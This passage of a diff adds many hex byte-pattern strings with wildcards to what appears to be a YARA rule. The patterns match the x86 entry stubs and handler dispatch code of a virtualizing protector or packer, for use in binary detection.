+		$51 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 52 9C 52 51 57 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$52 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 9C 57 52 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$53 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 53 54 57 55 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$54 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 51 53 50 52 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$55 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 51 56 52 50 9C 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$56 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 57 55 53 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$57 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 50 9C 53 50 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$58 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 54 53 9C 55 52 50 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$59 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 56 55 55 9C 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$60 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 52 51 57 55 9C 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$61 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 50 53 51 56 55 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$62 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 9C 56 53 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$63 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 57 55 52 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 83 ED 02 66 89 45 00 46 E9}
+		$64 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 56 50 55 51 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$65 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 54 55 51 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$66 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 50 9C 56 53 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$67 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 52 50 56 9C 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5A 5B 59 9D 5E 58 5F 5D 5F C3}
+		$68 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 50 51 56 55 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$69 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 55 52 50 53 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$70 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 56 56 50 55 51 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$71 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 01 7D 00 00}
+		$72 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 55 52 54 50 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$73 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 57 53 55 56 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$74 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 9C 51 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$75 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 51 57 53 9C 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$76 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 53 55 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$77 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 56 52 51 50 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$78 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 55 50 9C 55 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$79 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 9C 56 53 55 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$80 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 53 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$81 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 57 56 55 56 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$82 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 57 56 52 55 50 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$83 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 53 53 52 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$84 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 51 56 52 56 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$85 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 52 57 50 57 51 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$86 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 9C 52 50 53 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$87 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 9C 51 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$88 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 57 53 52 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$89 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 9C 57 50 53 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$90 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 55 9C 56 57 50 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$91 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 51 50 52 55 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$92 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 50 56 52 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$93 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 56 50 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$94 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 55 9C 56 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+		$95 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 51 56 57 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$96 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 53 50 52 56 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$97 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 53 55 51 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$98 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 51 57 9C 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$99 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 54 53 56 57 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$100 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 53 51 55 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+		$101 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 55 51 57 52 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$102 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 50 52 51 57 53 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$103 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 52 51 56 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$104 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 57 55 53 51 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$105 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 55 56 52 56 51 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$106 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 9C 57 55 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$107 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 50 56 53 57 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$108 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 52 57 53 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$109 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 51 9C 50 57 53 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$110 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 55 57 56 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$111 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 51 56 51 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$112 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 55 52 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$113 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 50 52 57 56 51 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$114 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 52 51 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$115 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 54 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$116 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 50 56 56 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$117 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 57 51 55 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$118 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 57 9C 51 53 52 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$119 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 52 51 9C 53 53 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$120 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 9C 55 53 56 52 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5B 5A 5E 58 5D 9D 58 5F C3}
+		$121 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 9C 55 50 54 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$122 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 53 50 9C 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$123 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 52 53 56 50 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$124 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 53 55 51 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$125 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 52 55 51 50 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$126 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 51 53 55 56 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+		$127 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 51 50 55 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$128 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 51 55 52 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$129 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 50 52 56 51 50 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5B 5A 59 5E 5A 58 5D 9D C3}
+		$130 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 55 56 56 57 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$131 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 51 52 55 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$132 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 57 53 52 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$133 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 56 53 57 52 51 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$134 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 52 56 53 57 51 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$135 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 55 56 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$136 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 52 56 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$137 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 51 56 57 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$138 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 56 51 55 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$139 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 53 50 56 53 51 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$140 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 56 55 56 9C 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$141 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 9C 52 50 57 56 53 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$142 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 51 50 55 53 56 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$143 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 54 56 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
